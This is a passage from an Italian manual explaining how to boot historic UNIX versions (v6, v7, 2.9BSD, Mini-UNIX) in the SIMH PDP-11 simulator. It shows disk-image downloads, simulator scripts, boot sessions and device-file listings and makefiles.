;
ATTACH  RK0  unix_v6_root_rk05_fixed.dsk
SHOW    RK0
;
ATTACH  RK1  unix_v6_src_rk05.dsk
SHOW    RK1
;
; Should boot manually.
;
```

Se lo script è contenuto nel file '`unix_v6.ini`', si avvia la simulazione così:

GNU/Linux $ **pdp11 unix_v6.ini** [*Invio*]

```
PDP-11 simulator V3.6-1
Disabling XQ
CPU, 11/45, FPP, autoconfiguration on, 256KB
RK0, 1247KW, attached to unix_v6_root_rk05_fixed.dsk, write enabled
RK1, 1247KW, attached to unix_v6_src_rk05.dsk, write enabled
```

Quindi, dall'invito di SIMH si dà il comando di avvio:

SIMH sim> **BOOT RK0** [*Invio*]

Se funziona appare l'invito del settore di avvio ('`@`'), dal quale va scritto il nome del file del kernel da eseguire: in questo caso si tratta del kernel '`rkunix`'.

disk boot @**rkunix** [*Invio*]

UNIX login: **root** [*Invio*]

UNIX #

Si annotano i file di dispositivo presenti:

UNIX # **chdir /dev** [*Invio*]

UNIX # **ls -l** [*Invio*]

```
total 0
crw-rw-r--  1 bin     8,  1 May 13 20:01 kmem
crw-rw-r--  1 bin     8,  0 May 13 20:01 mem
crw-rw-rw-  1 bin     8,  2 May 13 20:01 null
crw--w--w-  1 root    0,  0 Aug 14 22:06 tty8
```

Non è prevista la procedura di arresto del sistema ed è disponibile solo '**sync**', dopo il quale è possibile interrompere il funzionamento del simulatore con la combinazione [*Ctrl e*].

UNIX # **sync** [*Invio*]

UNIX # [*Ctrl e*]

```
Simulation stopped, PC: 015670 (BNE 15722)
```

SIMH sim> **quit** [*Invio*]

A.4.3 UNIX versione 6 (RL02)

Si può trovare il file-immagine della versione 6 dello UNIX di ricerca, modificato per utilizzare un disco RL02, presso ⟨*http://minnie.tuhs.org/Archive/PDP-11/Boot_Images/v6_rl02_unknown.gz* ⟩. Il file va estratto e quindi va preparato uno script per SIMH.

GNU/Linux $ **gunzip < v6_rl02_unknown.gz > unix_v6_root_rl02.dsk** [*Invio*]

Lo script per SIMH può avere il contenuto seguente:

```
;
; PDP-11/45 (1972) with only 256 Kibyte RAM memory.
;
SET     CPU  11/45
SHOW    CPU
;
; RL02 cartridge disks.
;
SET     RL   ENABLE
;
ATTACH  RL0  unix_v6_root_rl02.dsk
SHOW    RL0
;
; Should boot manually.
;
```

Se lo script è contenuto nel file '`unix_v6.ini`', si avvia la simulazione così:

GNU/Linux $ **pdp11 unix_v6.ini** [*Invio*]

```
PDP-11 simulator V3.6-1
Disabling XQ
CPU, 11/45, FPP, autoconfiguration on, 256KB
```

```
RL0, 5242KW, attached to unix_v6_root_rl02.dsk, write enabled, RL02
```

Quindi, dall'invito di SIMH si dà il comando di avvio:

SIMH sim> **BOOT RL0** [*Invio*]

Se funziona appare l'invito del programma di avvio ('**!**'), dal quale va scritto il nome del file del kernel da eseguire: 'unix'.

disk boot !**unix** [*Invio*]

```
unix v6 11/23
mem = 99 KW max = 63
```

UNIX #

Da questo punto, il terminale potrebbe funzionare solo con lettere maiuscole, perciò conviene dare il comando successivo, in modo da ottenere le lettere minuscole consuete:

UNIX # **STTY -LCASE** [*Invio*]

Si annotano qui i file di dispositivo presenti, ma è comunque disponibile, nella directory '/dev/' un file 'Makefile':

UNIX # **cd /dev** [*Invio*]

UNIX # **ls -l** [*Invio*]

```
crw-rw-r--  1 root      23,   0 Jun 19  1984 ad0
crw-rw-rw-  1 root      23,   1 Jul 25  1984 ad1
crw-rw-rw-  1 root      23,   2 Jul 25  1984 ad2
crw-rw-rw-  1 root      23,   3 Jul 25  1984 ad3
crw-rw-rw-  1 root      23,   4 Jul 25  1984 ad4
crw-rw-rw-  1 root      23,   5 Jul 25  1984 ad5
crw-rw-rw-  1 root      23,   6 Jul 25  1984 ad6
crw-rw-rw-  1 root      23,   7 Jul 25  1984 ad7
brw-rw-r--  1 root       6,   0 Aug  4  1982 hm0
brw-rw-r--  1 root       6,   1 Aug  4  1982 hm1
brw-rw-r--  1 root       6,   2 Aug  4  1982 hm2
brw-rw-r--  1 root       6,   3 Aug  4  1982 hm3
brw-rw-r--  1 root       6,   4 Aug  4  1982 hm4
brw-rw-r--  1 root       6,   5 Aug  4  1982 hm5
brw-rw-r--  1 root       6,   6 Aug  4  1982 hm6
brw-rw-r--  1 root       6,   7 Aug  4  1982 hm7
brw-rw-r--  1 root       6,   8 Aug  4  1982 hm8
crw-rw-r--  1 root       8,   3 Aug  4  1982 imem
crw-rw-r--  1 root       8,   1 Aug  4  1982 kmem
c-w--w--w-  1 root       2,   0 Aug  4  1982 lp
crw-rw-r--  1 root       8,   0 Aug  4  1982 mem
brw-rw-r--  1 root       3,   0 Aug  4  1982 mt0
crw-rw-r--  1 root       8,   2 Dec 16  1983 null
```

```
brw-rw-r--  1 root      15,   0 Aug  4  1982 rhm0
brw-rw-r--  1 root      15,   1 Aug  4  1982 rhm1
brw-rw-r--  1 root      15,   2 Aug  4  1982 rhm2
brw-rw-r--  1 root      15,   3 Aug  4  1982 rhm3
brw-rw-r--  1 root      15,   4 Aug  4  1982 rhm4
brw-rw-r--  1 root      15,   5 Aug  4  1982 rhm5
brw-rw-r--  1 root      15,   6 Aug  4  1982 rhm6
brw-rw-r--  1 root      15,   7 Aug  4  1982 rhm7
brw-rw-r--  1 root      15,   8 Aug  4  1982 rhm8
brw-rw-r--  1 root       0,   0 Aug  4  1982 rk0
brw-rw-r--  1 root       0,   1 Aug  4  1982 rk1
brw-rw-r--  2 root       2,   0 May  2  1983 rl0
brw-rw-r--  1 root       2,   1 May 12  1983 rl1
c-w--w--w-  1 root       2,   1 Aug  4  1982 rlp
brw-rw-r--  1 root       1,   0 Aug  4  1982 rp0
brw-rw-r--  1 root       1,   1 Aug  4  1982 rp1
brw-rw-r--  1 root       1,   2 Aug  4  1982 rp2
brw-rw-r--  1 root       1,   3 Aug  4  1982 rp3
crw-rw-r--  1 root      10,   0 Aug  4  1982 rrk0
crw-rw-r--  1 root      10,   1 Aug  4  1982 rrk1
crw-rw-r--  1 root      18,   0 May 26  1986 rrl0
crw-rw-r--  1 root      18,   1 Sep 12 12:35 rrl1
crw-rw-r--  1 root      12,   0 Aug  4  1982 rrp0
crw-rw-r--  1 root      12,   1 Aug  4  1982 rrp1
crw-rw-r--  1 root      12,   2 Aug  4  1982 rrp2
crw-rw-r--  1 root      12,   3 Aug  4  1982 rrp3
crw-rw-rw-  1 root      11,   0 Feb 25  1983 rrx0
crw-rw-rw-  1 root      11,   1 Feb 25  1983 rrx1
crw-rw-rw-  1 root      11,   2 Apr 26  1983 rrx2
crw-rw-rw-  1 root      11,   3 Feb 25  1983 rrx3
brw-rw-rw-  1 root       5,   0 Feb 25  1983 rx0
brw-rw-rw-  1 root       5,   1 Mar  2  1983 rx1
brw-rw-rw-  1 root       5,   2 Feb 25  1983 rx2
brw-rw-rw-  1 root       5,   3 Apr 26  1983 rx3
crw-rw-r--  1 root      21,   0 Aug  4  1982 stat0
crw-rw-r--  1 root      21,   1 Aug  4  1982 stat1
brw-rw-r--  2 root       2,   0 May  2  1983 swap
crw-rw-rw-  1 root       9,   0 Feb 14  1984 tty
crw--w--w-  1 root       0,   1 Feb  2 15:16 tty1
crw--w--w-  1 root       0,   2 Feb  2 09:51 tty2
crw--w--w-  1 root       0,   3 Feb  2 15:16 tty3
crw--w--w-  1 root       0,   4 Feb  2 15:16 tty4
crw--w--w-  1 root       0,   5 Feb  2 15:16 tty5
crw--w--w-  1 root       0,   0 Feb  2 15:25 tty8
crw-rw-rw-  1 root      20,   0 May  7  1983 ttya
crw-rw-rw-  1 root      20,   1 May  7  1983 ttyb
crw-rw-rw-  1 root      20,   2 May  7  1983 ttyc
crw-rw-rw-  1 root      20,   3 May  7  1983 ttyd
```

```
crw-rw-rw-  1 root      20,   4 May  7  1983 ttye
crw-rw-rw-  1 root      20,   5 May  7  1983 ttyf
crw-rw-rw-  1 root      20,   6 May  7  1983 ttyg
crw-rw-rw-  1 root      20,   7 May  7  1983 ttyh
```

Non essendo prevista la procedura di arresto del sistema, si può usare '**sync**', dopo il quale è possibile interrompere il funzionamento del simulatore con la combinazione [*Ctrl e*].

UNIX # **sync** [*Invio*]

UNIX # [*Ctrl e*]

```
Simulation stopped, PC: 017124 (CMPB #3,(R2))
```

SIMH sim> **quit** [*Invio*]

A.4.4 UNIX versione 7 (RL02)

Si può trovare il file-immagine della versione 7 dello UNIX di ricerca, per un disco RL02, presso ⟨*http://minnie.tuhs.org/Archive/PDP-11/Boot_Images/v7_rl02_1145.gz*⟩. Il file va estratto e quindi va preparato uno script per SIMH.

GNU/Linux $ **gunzip < v7_rl02_1145.gz > unix_v7_root_rl02.dsk** [*Invio*]

Lo script per SIMH può avere il contenuto seguente:

```
;
; PDP-11/45 (1972) with only 256 Kibyte RAM memory.
;
SET     CPU  11/45
SHOW    CPU
;
; RL02 cartridge disks.
;
SET     RL   ENABLE
;
ATTACH  RL0  unix_v7_root_rl02.dsk
SHOW    RL0
;
; Should boot manually.
;
```

Se lo script è contenuto nel file 'unix_v7.ini', si avvia la simulazione così:

GNU/Linux $ **pdp11 unix_v7.ini** [*Invio*]

```
PDP-11 simulator V3.6-1
Disabling XQ
CPU, 11/45, FPP, autoconfiguration on, 256KB
RL0, 5242KW, attached to unix_v7_root_rl02.dsk, write enabled, RL02
```

Quindi, dall'invito di SIMH si dà il comando di avvio:

SIMH sim> **BOOT RL0** [*Invio*]

Se funziona appare l'invito del settore di avvio ('`@`'), dal quale va scritto il nome del programma di avvio: '`boot`'.

disk boot @**boot** [*Invio*]

Quindi si inseriscono le coordinate del file del kernel da avviare:

```
New Boot, known devices are hp ht rk rl rp tm vt
```

disk boot : **rl(0,0)rl2unix** [*Invio*]

```
mem = 177856
```

UNIX #

Si annota il contenuto del file '`/dev/makefile`', con il quale si possono creare i file di dispositivo mancanti:

UNIX # **cd /dev** [*Invio*]

UNIX # **cat makefile** [*Invio*]

```
# You will want to do at least a make std (the default), followed by the
# make on the types of disks you have
#

std:
/etc/mknod console  c 0 0
/etc/mknod tty     c 17 0
/etc/mknod tty1     c 0 1
/etc/mknod tty2     c 0 2
/etc/mknod mem      c 8 0
/etc/mknod kmem     c 8 1
/etc/mknod null     c 8 2

rk:
/etc/mknod rk0  b 0 0
/etc/mknod rk1  b 0 1
/etc/mknod rrk0 c 9 0
/etc/mknod rrk1 c 9 1
chmod go-rw rk0 rk1 rrk0 rrk1
```

```
rl:
/etc/mknod rl0  b 8 0
/etc/mknod rl1  b 8 1
/etc/mknod rrl0 c 18 0
/etc/mknod rrl1 c 18 1
chmod go-rw rl0 rl1 rrl0 rrl1

rp03:
/etc/mknod rp0 b 1 1
/etc/mknod swap b 1 2
/etc/mknod rp3 b 1 3
/etc/mknod rrp0 c 11 1
/etc/mknod rrp3 c 11 3
chmod go-rw rp0 swap rp3 rrp0 rrp3

rp04 rp05:
/etc/mknod rp0 b 6 0
/etc/mknod swap b 6 1
/etc/mknod rp3 b 6 6
/etc/mknod rrp0 c 14 0
/etc/mknod rrp3 c 14 6
chmod go-rw rp0 swap rp3 rrp0 rrp3

rp06:
/etc/mknod rp0 b 6 0
/etc/mknod swap b 6 1
/etc/mknod rp3 b 6 7
/etc/mknod rrp0 c 14 0
/etc/mknod rrp3 c 14 7
chmod go-rw rp0 swap rp3 rrp0 rrp3

tm:
/etc/mknod mt0 b 3 0
/etc/mknod rmt0 c 12 0
/etc/mknod nrmt0 c 12 128
chmod go+w mt0 rmt0 nrmt0

ht:
/etc/mknod mt0 b 7 64
/etc/mknod mt1 b 7 0
/etc/mknod rmt0 c 15 64
/etc/mknod rmt1 c 15 0
/etc/mknod nrmt0 c 15 192
/etc/mknod nrmt1 c 15 128
chmod go+w mt0 mt1 rmt0 rmt1 nrmt0 nrmt1
```

Non essendo prevista la procedura di arresto del sistema, si può usare '**sync**', dopo il quale è possibile interrompere il funzionamento del simulatore con la combinazione [*Ctrl e*].

UNIX # **sync** [*Invio*]

UNIX # [*Ctrl e*]

```
Simulation stopped, PC: 002312 (RTS PC)
```

SIMH sim> **quit** [*Invio*]

A.4.5 UNIX versione 7 (RL02) «Torsten»

Si può trovare il file-immagine della versione 7 dello UNIX di ricerca, per un disco RL02, modificato da Torsten Hippe, presso ⟨*http://minnie.tuhs.org/Archive/PDP-11/Distributions/other/Torsten_Hippe_v7/v7.gz* ⟩. Il file va estratto e quindi va preparato uno script per SIMH.

GNU/Linux $ **gunzip < v7.gz > unix_v7_root_rl02_torsten.dsk** [*Invio*]

Lo script per SIMH può avere il contenuto seguente:

```
;
; PDP-11/45 (1972) with only 256 Kibyte RAM memory.
;
SET     CPU  11/45
SHOW    CPU
;
; RL02 cartridge disks.
;
SET     RL   ENABLE
;
ATTACH  RL0  unix_v7_root_rl02_torsten.dsk
SHOW    RL0
;
; Should boot manually.
;
```

Se lo script è contenuto nel file '`unix_v7.ini`', si avvia la simulazione così:

GNU/Linux $ **pdp11 unix_v7.ini** [*Invio*]

```
PDP-11 simulator V3.6-1
Disabling XQ
CPU, 11/45, FPP, autoconfiguration on, 256KB
RL0, 5242KW, attached to unix_v7_root_rl02_torsten.dsk, write enabled, RL02
```

Quindi, dall'invito di SIMH si dà il comando di avvio:

SIMH sim> **BOOT RL0** [*Invio*]

Se funziona appare l'invito del settore di avvio ('**@**'), dal quale va scritto il nome del programma di avvio: '`boot`'.

disk boot @**boot** [*Invio*]

Quindi si inseriscono le coordinate del file del kernel da avviare:

```
Boot
```

disk boot : **rl(0,0)rl1unix** [*Invio*]

```
mem = 205376
```

Viene chiesto di eseguire un accesso normale. La parola d'ordine per l'utente '**root**' è «pdp». Inizialmente il terminale mostra solo lettere maiuscole:

UNIX SINGLE USER LOGIN: **ROOT** [*Invio*]

UNIX PASSWORD: ***PDP*** [*Invio*]

Con il comando successivo si riporta il terminale a funzionare con le lettere minuscole:

UNIX # **STTY -LCASE** [*Invio*]

Si annota il contenuto del file '/dev/makefile', con il quale si possono creare i file di dispositivo mancanti:

UNIX # **cd /dev** [*Invio*]

UNIX # **cat makefile** [*Invio*]

```
basic:
/etc/mknod console c 0 0
/etc/mknod tty c 1 0
/etc/mknod mem c 2 0
/etc/mknod kmem c 2 1
/etc/mknod null c 2 2
chmod go-w+r console
chmod go-w mem kmem
chmod go+rw null tty
chown bin mem kmem null tty
chgrp bin mem kmem null tty

rp:
make TYPE=rp bigdisk

hp:
make TYPE=hp bigdisk

rm:
make TYPE=rm bigdisk

hk:
make TYPE=hk bigdisk

si:
```

```
make TYPE=si bigdisk

bigdisk:
/etc/mknod $(TYPE)0 b 2 0
#       /etc/mknod $(TYPE)01 b 2 1
#       /etc/mknod $(TYPE)02 b 2 2
#       /etc/mknod $(TYPE)03 b 2 3
#       /etc/mknod $(TYPE)04 b 2 4
#       /etc/mknod $(TYPE)05 b 2 5
#       /etc/mknod $(TYPE)06 b 2 6
#       /etc/mknod $(TYPE)07 b 2 7
/etc/mknod $(TYPE)1 b 2 8
#       /etc/mknod $(TYPE)11 b 2 9
#       /etc/mknod $(TYPE)12 b 2 10
#       /etc/mknod $(TYPE)13 b 2 11
#       /etc/mknod $(TYPE)14 b 2 12
#       /etc/mknod $(TYPE)15 b 2 13
#       /etc/mknod $(TYPE)16 b 2 14
#       /etc/mknod $(TYPE)17 b 2 15
/etc/mknod r$(TYPE)0 c 11 0
#       /etc/mknod r$(TYPE)01 c 11 1
#       /etc/mknod r$(TYPE)02 c 11 2
#       /etc/mknod r$(TYPE)03 c 11 3
#       /etc/mknod r$(TYPE)04 c 11 4
#       /etc/mknod r$(TYPE)05 c 11 5
#       /etc/mknod r$(TYPE)06 c 11 6
#       /etc/mknod r$(TYPE)07 c 11 7
/etc/mknod r$(TYPE)1 c 11 8
#       /etc/mknod r$(TYPE)11 c 11 9
#       /etc/mknod r$(TYPE)12 c 11 10
#       /etc/mknod r$(TYPE)13 c 11 11
#       /etc/mknod r$(TYPE)14 c 11 12
#       /etc/mknod r$(TYPE)15 c 11 13
#       /etc/mknod r$(TYPE)16 c 11 14
#       /etc/mknod r$(TYPE)17 c 11 15
chmod go-w $(TYPE)[0-7] $(TYPE)[0-7]? r$(TYPE)[0-7] r$(TYPE)[0-7]?

rl:
/etc/mknod rl0 b 3 0
/etc/mknod rl1 b 3 1
/etc/mknod rrl0 c 12 0
/etc/mknod rrl1 c 12 1
chmod go-w rl? rrl?

rk:
/etc/mknod rk0 b 4 0
/etc/mknod rk1 b 4 1
/etc/mknod rrk0 c 13 0
```

```
/etc/mknod rrk1 c 13 1
chmod go-w rk? rrk?

dl:
/etc/mknod tty1 c 0 1
/etc/mknod tty2 c 0 2
chmod go-r+w tty[1-2]
< more 64% >dl:
/etc/mknod tty1 c 0 1
/etc/mknod tty2 c 0 2
chmod go-r+w tty[1-2]

pc:
/etc/mknod pc c 4 0
chown bin pc
chgrp bin pc
chmod go+w pc

lp:
/etc/mknod lp c 5 0
chown bin lp
chgrp bin lp
chmod go-rw lp

dc:
/etc/mknod dc0 c 6 0
/etc/mknod dc1 c 6 1
chown bin dc?
chgrp bin dc?
chmod go-rw dc?

dz:
/etc/mknod ttya c 7 0
/etc/mknod ttyb c 7 1
/etc/mknod ttyc c 7 2
/etc/mknod ttyd c 7 3
/etc/mknod ttye c 7 4
/etc/mknod ttyf c 7 5
/etc/mknod ttyg c 7 6
/etc/mknod ttyh c 7 7
chmod go-r+w tty[a-h]

tm:
/etc/mknod mt0 b 0 0
/etc/mknod mt1 b 0 1
/etc/mknod hmt0 b 0 64
/etc/mknod hmt1 b 0 65
/etc/mknod nmt0 b 0 128
```

```
/etc/mknod nmt1 b 0 129
/etc/mknod nhmt0 b 0 192
/etc/mknod nhmt1 b 0 193
/etc/mknod rmt0 c 10 0
/etc/mknod rmt1 c 10 1
/etc/mknod hrmt0 c 10 64
/etc/mknod hrmt1 c 10 65
/etc/mknod nrmt0 c 10 128
/etc/mknod nrmt1 c 10 129
/etc/mknod nhrmt0 c 10 192
/etc/mknod nhrmt1 c 10 193
chmod go-w *mt[01]

tc:
/etc/mknod tap0 b 1 0
/etc/mknod tap1 b 1 1
chmod go-w tap[01]

swap:
@echo ln ??? swap
```

Non essendo prevista la procedura di arresto del sistema, si può usare '**sync**', dopo il quale è possibile interrompere il funzionamento del simulatore con la combinazione [*Ctrl e*].

UNIX # **sync** [*Invio*]

UNIX # [*Ctrl e*]

```
Simulation stopped, PC: 002312 (RTS PC)
```

SIMH sim> **quit** [*Invio*]

A.4.6 BSD versione 2.9 (RL02)

Si può trovare il file-immagine della versione 2.9 di BSD, per un disco RL02, presso ⟨*http://minnie.tuhs.org/Archive/PDP-11/Boot_Images/2.9BSD_rl02_1145.gz*⟩. Il file va estratto e quindi va preparato uno script per SIMH.

GNU/Linux $ **gunzip < 2.9BSD_rl02_1145.gz > bsd_2.9_root_rl02.dsk** [*Invio*]

Lo script per SIMH può avere il contenuto seguente:

```
;
; PDP-11/45 (1972) with only 256 Kibyte RAM memory.
;
SET     CPU  11/45
SHOW    CPU
;
; RL02 cartridge disks.
;
```

```
SET     RL   ENABLE
;
ATTACH  RL0  bsd_2.9_root_rl02.dsk
SHOW    RL0
;
; Should boot manually.
;
```

Se lo script è contenuto nel file '`bsd_6.9.ini`', si avvia la simulazione così:

GNU/Linux $ **pdp11 bsd_6.9.ini** [*Invio*]

```
PDP-11 simulator V3.6-1
Disabling XQ
CPU, 11/45, FPP, autoconfiguration on, 256KB
RL0, 5242KW, attached to bsd_2.9_root_rl02.dsk, write enabled, RL02
```

Quindi, dall'invito di SIMH si dà il comando di avvio:

SIMH sim> **BOOT RL0** [*Invio*]

```
:boot

45Boot
```

Se funziona appare l'invito del programma di avvio ('`:`'), dal quale vanno scritte le coordinate per raggiungere il kernel da avviare:

disk boot : **rl(0,0)rlunix** [*Invio*]

```
Berkeley UNIX (Rev. 2.9.1) Sun Nov 20 14:55:50 PST 1983
mem = 135872

CONFIGURE SYSTEM:
xp 0 csr 176700 vector 254 attached
rk 0 csr 177400 vector 220 attached
hk 0 csr 177440 vector 210 attached
rl 0 csr 174400 vector 160 attached
rp ? csr 176700 vector 254 interrupt vector already in use
ht 0 csr 172440 vector 224 skipped:  No CSR
tm 0 csr 172520 vector 224 attached
ts 0 csr 172520 vector 224 interrupt vector already in use
dh ? csr 160020 vector 370 skipped:  No CSR
dm ? csr 170500 vector 360 skipped:  No autoconfig routines
dz ? csr 160110 vector 320 interrupt vector wrong
dz ? csr 160110 vector 320 interrupt vector wrong
dn 0 csr 175200 vector 300 skipped:  No autoconfig routines
vp ? csr 177500 vector 174 skipped:  No autoconfig routines
lp 0 csr 177514 vector 200 attached
Erase=^?, kill=^U, intr=^C
```

Si accede immediatamente alla shell. Si annota il contenuto della directory '`/dev/`'; tuttavia, è presente anche lo script '**`MAKE`**', con il quale si possono creare i file di dispositivo mancanti:

UNIX # **`cd /dev`** [*Invio*]

UNIX # **`ls -l`** [*Invio*]

```
total 5
-rwxrwxr-x 1 root     daemon      4375 Sep 19 01:21 MAKE
crw--w--w- 1 root     superuse   0,  0 Dec 31 16:03 console
brw------- 1 root     superuse   4,  0 Mar 29 15:42 hk0a
brw------- 1 root     superuse   4,  1 Mar 29 15:42 hk0b
brw------- 1 root     superuse   4,  2 Mar 29 15:42 hk0c
brw------- 1 root     superuse   4,  3 Mar 29 15:42 hk0d
brw------- 1 root     superuse   4,  6 Mar 29 15:42 hk0g
brw------- 1 root     superuse   4,  7 Mar 29 15:42 hk0h
crw------- 1 root     superuse   8,  1 Dec 31 16:02 kmem
crw------- 1 root     superuse   8,  0 Mar 29 15:40 mem
crw-rw-rw- 1 root     superuse   8,  2 Jul 27 17:58 null
crw------- 1 root     superuse  19,  0 Mar 29 15:42 rhk0a
crw------- 1 root     superuse  19,  1 Mar 29 15:42 rhk0b
crw------- 1 root     superuse  19,  2 Mar 29 15:42 rhk0c
crw------- 1 root     superuse  19,  3 Mar 29 15:42 rhk0d
crw------- 1 root     superuse  19,  6 Mar 29 15:42 rhk0g
crw------- 1 root     superuse  19,  7 Mar 29 15:42 rhk0h
brw------- 1 root     superuse   0,  0 Mar 29 15:40 rk0
brw------- 1 root     superuse   0,  1 Mar 30 00:14 rk1
brw------- 1 root     superuse   8,  0 Mar 29 15:40 rl0
brw------- 1 root     superuse   8,  1 Mar 30 00:14 rl1
brw-rw---- 1 root     daemon     6,  0 Mar 10 12:25 rm0a
brw-rw---- 1 root     daemon     6,  1 Mar 29 08:21 rm0b
brw------- 1 root     superuse   6,  2 Jun  2 09:41 rm0c
brw-rw---- 1 root     daemon     6,  3 Sep 29 18:13 rm0d
brw-rw---- 1 root     daemon     6,  4 Feb 25 04:58 rm0e
brw------- 1 root     superuse   1,  0 Mar 29 15:42 rp0a
brw------- 1 root     superuse   1,  1 Mar 29 15:43 rp0b
brw------- 1 root     superuse   1,  2 Mar 29 15:43 rp0c
brw------- 1 root     superuse   1,  7 Mar 29 15:43 rp0h
crw------- 1 root     superuse   9,  0 Jul 27 17:59 rrk0
crw------- 1 root     superuse   9,  1 Mar 30 00:14 rrk1
crw------- 1 root     superuse  18,  0 Dec 31 16:02 rrl0
crw------- 1 root     superuse  18,  1 Mar 30 00:14 rrl1
crw-rw---- 1 root     daemon    14,  0 Mar 15 18:30 rrm0a
crw-rw---- 1 root     daemon    14,  1 Jul 26 17:42 rrm0b
crw-rw-r-- 1 root     daemon    14,  2 Jan 11 21:19 rrm0c
crw-rw---- 1 root     daemon    14,  3 Mar 26 01:44 rrm0d
crw-rw---- 1 root     daemon    14,  4 Jan 18 08:36 rrm0e
crw------- 1 root     superuse  11,  0 Mar 29 15:42 rrp0a
crw------- 1 root     superuse  11,  1 Mar 29 15:43 rrp0b
```

```
crw------- 1 root     superuse  11,  2 Mar 29 15:43 rrp0c
crw------- 1 root     superuse  11,  7 Mar 29 15:43 rrp0h
crw------- 1 root     superuse  14,  0 Mar 29 15:40 rxp0a
crw------- 1 root     superuse  14,  1 Mar 29 15:41 rxp0b
crw------- 1 root     superuse  14,  2 Mar 29 15:41 rxp0c
crw------- 1 root     superuse  14,  3 Mar 29 15:41 rxp0d
crw------- 1 root     superuse  14,  4 Mar 29 15:41 rxp0e
crw------- 1 root     superuse  14,  5 Mar 29 15:41 rxp0f
crw------- 1 root     superuse  14,  6 Mar 29 15:41 rxp0g
crw------- 1 root     superuse  14,  7 Mar 29 15:41 rxp0h
crw-rw-rw- 1 root     superuse  17,  0 Mar 29 15:40 tty
crw--w--w- 1 root     sys       21,  0 Mar  7 09:13 tty00
crw--w--w- 1 root     superuse  21,  1 Mar  7 09:04 tty01
crw--w--w- 1 root     superuse  21,  2 Mar  7 09:04 tty02
crw--w--w- 1 root     superuse  21,  3 Mar  7 09:04 tty03
crw--w--w- 1 root     superuse  21,  4 Jul 26 17:15 tty04
crw--w--w- 1 root     superuse  21,  5 Aug  6 23:09 tty05
crw--w--w- 1 root     superuse  21,  6 Mar  7 09:04 tty06
crw--w--w- 1 root     superuse  21,  7 Mar  7 09:04 tty07
crw------- 1 root     superuse   4,  0 Mar 30 00:14 ttyh0
crw------- 1 root     superuse   4,  1 Mar 30 00:14 ttyh1
crw------- 1 root     superuse   4,  2 Mar 30 00:14 ttyh2
crw------- 1 root     superuse   4,  3 Mar 30 00:14 ttyh3
crw------- 1 root     superuse   4,  4 Mar 30 00:14 ttyh4
crw------- 1 root     superuse   4,  5 Mar 30 00:14 ttyh5
crw------- 1 root     superuse   4,  6 Mar 30 00:14 ttyh6
crw------- 1 root     superuse   4,  7 Mar 30 00:14 ttyh7
crw------- 1 root     superuse   4,  8 Mar 30 00:14 ttyh8
crw------- 1 root     superuse   4,  9 Mar 30 00:14 ttyh9
crw------- 1 root     superuse   4, 10 Mar 30 00:14 ttyha
crw------- 1 root     superuse   4, 11 Mar 30 00:14 ttyhb
crw------- 1 root     superuse   4, 12 Mar 30 00:14 ttyhc
crw------- 1 root     superuse   4, 13 Mar 30 00:14 ttyhd
crw------- 1 root     superuse   4, 14 Mar 30 00:14 ttyhe
crw------- 1 root     superuse   4, 15 Mar 30 00:14 ttyhf
brw------- 1 root     superuse   6,  0 Mar 29 15:40 xp0a
brw------- 1 root     superuse   6,  1 Mar 29 15:40 xp0b
brw------- 1 root     superuse   6,  2 Mar 29 15:41 xp0c
brw------- 1 root     superuse   6,  3 Mar 29 15:41 xp0d
brw------- 1 root     superuse   6,  4 Mar 29 15:41 xp0e
brw------- 1 root     superuse   6,  5 Mar 29 15:41 xp0f
brw------- 1 root     superuse   6,  6 Mar 29 15:41 xp0g
brw------- 1 root     superuse   6,  7 Mar 29 15:41 xp0h
```

Sarebbe disponibile il comando '**`shutdown`**', ma non sembra funzionare come di consueto. Pertanto, si può usare '**`sync`**', dopo il quale è possibile interrompere il funzionamento del simulatore con la combinazione [*Ctrl e*].

UNIX # **sync** [*Invio*]

UNIX # [*Ctrl e*]

```
Simulation stopped, PC: 016662 (MOV #200,R4)
```

SIMH sim> **quit** [*Invio*]

A.5 Derivazioni di UNIX per hardware ridotto

Dalle versioni dello UNIX di ricerca sono derivate, a suo tempo, delle varianti per sistemi molto poveri di risorse. In particolare, Mini-UNIX e LSX. Si tratta di sistemi in grado di lavorare con una memoria centrale da 64 Kibyte.

A.5.1 Mini-UNIX

Mini-UNIX è un sistema derivato da UNIX versione 6, del quale utilizza lo stesso file system. È importante osservare che, anche se nel file system sono presenti le informazioni sui gruppi di utenti, questi non sono considerati.

Si possono trovare i file-immagine di Mini-UNIX, per dischi RK05, presso ⟨*http://minnie.tuhs.org/Archive/PDP-11/Distributions/usdl/Mini-Unix/*⟩. Servono precisamente i file '`tape1.bin.gz`', '`tape2.bin.gz`' e '`tape3.bin.gz`'.

I file vanno estratti e quindi va preparato uno script per SIMH. Nell'estrarre i file gli si attribuisce un nome che sintetizzi il loro contenuto:

GNU/Linux $ **gunzip < tape1.bin.gz > mx_root_rk05.dsk** [*Invio*]

GNU/Linux $ **gunzip < tape2.bin.gz > mx_src_rk05.dsk** [*Invio*]

GNU/Linux $ **gunzip < tape3.bin.gz > mx_man_rk05.dsk** [*Invio*]

Lo script per SIMH può avere il contenuto seguente, nel quale si prevede l'uso di tre dischi:

```
;
; PDP-11/20 (1970)
;
SET     CPU  11/20
SET     CPU  64K
SHOW    CPU
;
; RK05 cartridge disks.
;
SET     RK   ENABLE
;
ATTACH  RK0  mx_root_rk05.dsk
SHOW    RK0
;
ATTACH  RK1  mx_src_rk05.dsk
SHOW    RK1
;
```

```
ATTACH  RK2  mx_man_rk05.dsk
SHOW    RK2
;
; Should boot manually.
;
```

Se lo script è contenuto nel file '`mx.ini`', si avvia la simulazione così:

GNU/Linux `$ pdp11 mx.ini` [*Invio*]

```
PDP-11 simulator V3.6-1
Disabling CR
Disabling XQ
CPU, 11/20, autoconfiguration on, 64KB
RK0, 1247KW, attached to mx_root_rk05.dsk, write enabled
RK1, 1247KW, attached to mx_src_rk05.dsk, write enabled
RK2, 1247KW, attached to mx_man_rk05.dsk, write enabled
```

Quindi, dall'invito di SIMH si dà il comando di avvio:

SIMH `sim> BOOT RK0` [*Invio*]

Se funziona appare l'invito del settore di avvio ('`@`'), dal quale va scritto il nome del file del kernel da eseguire: in questo caso si tratta di '`rkmx`'.

disk boot `@rkmx` [*Invio*]

```
RESTRICTED RIGHTS

USE, DUPLICATION OR DISCLOSURE IS SUBJECT TO
RESTRICTIONS STATED IN YOUR CONTRACT WITH
WESTERN ELECTRIC COMPANY, INC.
```

MX `login: root` [*Invio*]

MX `#`

Si annotano i file di dispositivo presenti:

MX `# chdir /dev` [*Invio*]

MX `# ls -l` [*Invio*]

```
total 0
crw-rw-rw-  1 root    1,  1 Jan 26  1976 kmem
crw-rw-rw-  1 root    1,  0 Jan 26  1976 mem
